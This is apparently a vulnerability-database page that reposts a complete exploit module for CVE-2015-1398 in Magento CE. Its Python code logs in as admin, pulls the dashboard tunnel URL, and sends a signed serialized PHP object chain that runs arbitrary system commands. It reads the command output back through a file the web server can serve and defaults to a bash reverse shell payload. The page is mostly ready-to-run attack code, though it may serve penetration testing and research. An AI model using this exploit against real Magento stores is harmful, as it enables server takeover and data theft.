Lucene search
+L

Magento CVE-2015-1398 tunnel unserialize RCE

🗓️ 26 Oct 2026 17:01:54Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 4 Views

Authenticated RCE in Magento CE via admin dashboard tunnel unserializing ?ga=.

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2015-1398
30 Aug 202521:02
–circl
cnvd
CNVD
Magento Community Edition and Enterprise Edition Directory Traversal Vulnerability
30 Apr 201500:00
–cnvd
checkpoint_advisories
Check Point Advisories
Magento eCommerce Web Sites Authentication Bypass (CVE-2015-1398)
1 Feb 201500:00
–checkpoint_advisories
cve
CVE
CVE-2015-1398
29 Apr 201522:00
–cve
cvelist
Cvelist
CVE-2015-1398
29 Apr 201522:00
–cvelist
nvd
NVD
CVE-2015-1398
29 Apr 201522:59
–nvd
openvas
OpenVAS
Magento Web E-Commerce Platform Multiple Vulnerabilities
29 Apr 201500:00
–openvas
prion
Prion
Directory traversal
29 Apr 201522:59
–prion
ptsecurity
Positive Technologies
PT-2015-5265
29 Apr 201500:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2015-1398: Improper Limitation of a Pathname to a Restricted Directory
29 Apr 201500:00
–rapid7
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Magento CE CVE-2015-1398 authenticated POP chain tunnel RCE (blind)."""

from __future__ import annotations

import base64
import hashlib
import re
import time
from urllib.parse import urlparse

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Magento CVE-2015-1398 tunnel unserialize RCE",
        "description": (
            "CVE-2015-1398 (Magento CE <= 1.9.0.1): admin dashboard tunnel "
            "unserializes ?ga= POP chain to system(); blind — read output file or use sleep oracle."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2015-1398"],
        "platform": Platform.PHP,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2015-1398",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["magento", "php", "unserialize", "authenticated", "rce", "cve-2015-1398"],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 8,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "rce", "shell"],
            "requires": {"tech_hints_any": ["magento"]},
            "chain": {"suggested_followups": []},
        },
    }

    admin_path = OptString("/index.php/admin/", "Magento admin URL path", required=False)
    username = OptString("admin", "Admin username", required=True)
    password = OptString("", "Admin password", required=True)
    install_date = OptString(
        "Wed, 01 Jan 2020 00:00:00 +0000",
        "Value from app/etc/local.xml <install><date>",
        required=True,
    )
    output_file = OptString(
        "/var/www/html/media/kitty_out.txt",
        "Remote path for blind cmd output (must be web-readable)",
        required=False,
        advanced=True,
    )
    output_url = OptString("/media/kitty_out.txt", "URL path to read output_file", required=False, advanced=True)
    command = OptString("", "Command (overrides payload)", required=False)

    def _admin_base(self) -> str:
        p = str(self.admin_path or "/index.php/admin/")
        if not p.startswith("/"):
            p = "/" + p
        return p

    def _login(self) -> None:
        login = self._admin_base()
        resp = self.http_request("GET", login)
        html = (resp.text or "") if resp else ""
        m = re.search(r'name="form_key"[^>]*value="([^"]+)"', html)
        if not m:
            raise RuntimeError("form_key missing")
        self.http_request(
            "POST",
            login,
            data={
                "form_key": m.group(1),
                "login[username]": str(self.username or ""),
                "login[password]": str(self.password or ""),
            },
        )

    def _tunnel_url(self) -> str:
        dash = self._admin_base().rstrip("/") + "/dashboard/"
        resp = self.http_request("GET", dash)
        html = (resp.text or "") if resp else ""
        ajax = re.search(r"ajaxBlockUrl = '(.*)'", html)
        if not ajax:
            raise RuntimeError("ajaxBlockUrl not found — populate dashboard chart data")
        key_m = re.search(r"var FORM_KEY = '(.*)'", html)
        key = key_m.group(1) if key_m else ""
        block = self.http_request(
            "POST",
            ajax.group(1) + "block/tab_orders/period/7d/?isAjax=true",
            data={"isAjax": "false", "form_key": key},
        )
        tun = re.search(r'src="(https?://[^"]+?/tunnel/key/[a-f0-9]+/)\?ga=', (block.text or "") if block else "")
        if not tun:
            raise RuntimeError("Tunnel URL not found in dashboard block")
        return tun.group(1)

    def _pop_payload(self, arg: str, php_function: str = "system") -> str:
        payload = (
            'O:8:"Zend_Log":1:{s:11:"\x00*\x00_writers";a:2:{i:0;O:20:"Zend_Log_Writer_Mail":4:'
            '{s:16:"\x00*\x00_eventsToMail";a:3:{i:0;s:11:"EXTERMINATE";i:1;s:12:"EXTERMINATE!";'
            'i:2;s:15:"EXTERMINATE!!!!";}s:22:"\x00*\x00_subjectPrependText";N;s:10:"\x00*\x00_layout";'
            'O:23:"Zend_Config_Writer_Yaml":3:{s:15:"\x00*\x00_yamlEncoder";s:%d:"%s";'
            's:17:"\x00*\x00_loadedSection";N;s:10:"\x00*\x00_config";O:13:"Varien_Object":1:'
            '{s:8:"\x00*\x00_data";s:%d:"%s";}}s:8:"\x00*\x00_mail";O:9:"Zend_Mail":0:{}}i:1;i:2;}}'
        ) % (len(php_function), php_function, len(arg), arg)
        b64 = base64.b64encode(payload.encode()).decode()
        gh = hashlib.md5((b64 + str(self.install_date or "")).encode()).hexdigest()
        return f"?ga={b64}&h={gh}"

    def _fire_tunnel(self, shell_arg: str) -> int:
        tunnel = self._tunnel_url()
        qs = self._pop_payload(shell_arg)
        path = urlparse(tunnel).path.rstrip("/") + qs
        start = time.time()
        resp = self.http_request("GET", path)
        elapsed = time.time() - start
        self._last_elapsed = elapsed
        return int(resp.status_code or 0) if resp else 0

    def execute(self, cmd: str) -> str:
        if not getattr(self, "_logged_in", False):
            self._login()
            self._logged_in = True
        out_path = str(self.output_file or "/var/www/html/media/kitty_out.txt")
        read_url = str(self.output_url or "/media/kitty_out.txt")
        wrapped = f"{cmd} > {out_path} 2>&1"
        self._fire_tunnel(wrapped)
        resp = self.http_request("GET", read_url)
        return (resp.text or "").strip() if resp else ""

    def check(self):
        try:
            self._login()
            self._tunnel_url()
        except RuntimeError as exc:
            return {"vulnerable": False, "reason": str(exc), "confidence": "medium"}
        return {"vulnerable": True, "reason": "Admin session and tunnel URL OK", "confidence": "high"}

    def check_execute(self):
        self._fire_tunnel("sleep 5")
        return getattr(self, "_last_elapsed", 0) >= 4.5

    def run(self):
        cmd = str(self.command or "").strip() or str(self.payload or "").strip()
        if not cmd:
            print_error("Set command or payload")
            return False

        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Precheck failed"))
            self.not_vulnerable()
            return False

        print_status("CVE-2015-1398 — Magento tunnel POP chain")
        if not self.check_execute() and not re.search(r"reverse|bash|/dev/tcp|nc ", cmd, re.I):
            print_warning("Sleep oracle weak — trying command anyway")

        out = self.execute(cmd)
        if out:
            print_info(out[:4000])

        if str(self.command or "").strip() and out:
            return self.handler_execute()
        if re.search(r"reverse|bash|/dev/tcp|nc ", cmd, re.I):
            return True
        return bool(out) and self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Oct 2026 17:01Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.5
EPSS0.13926
4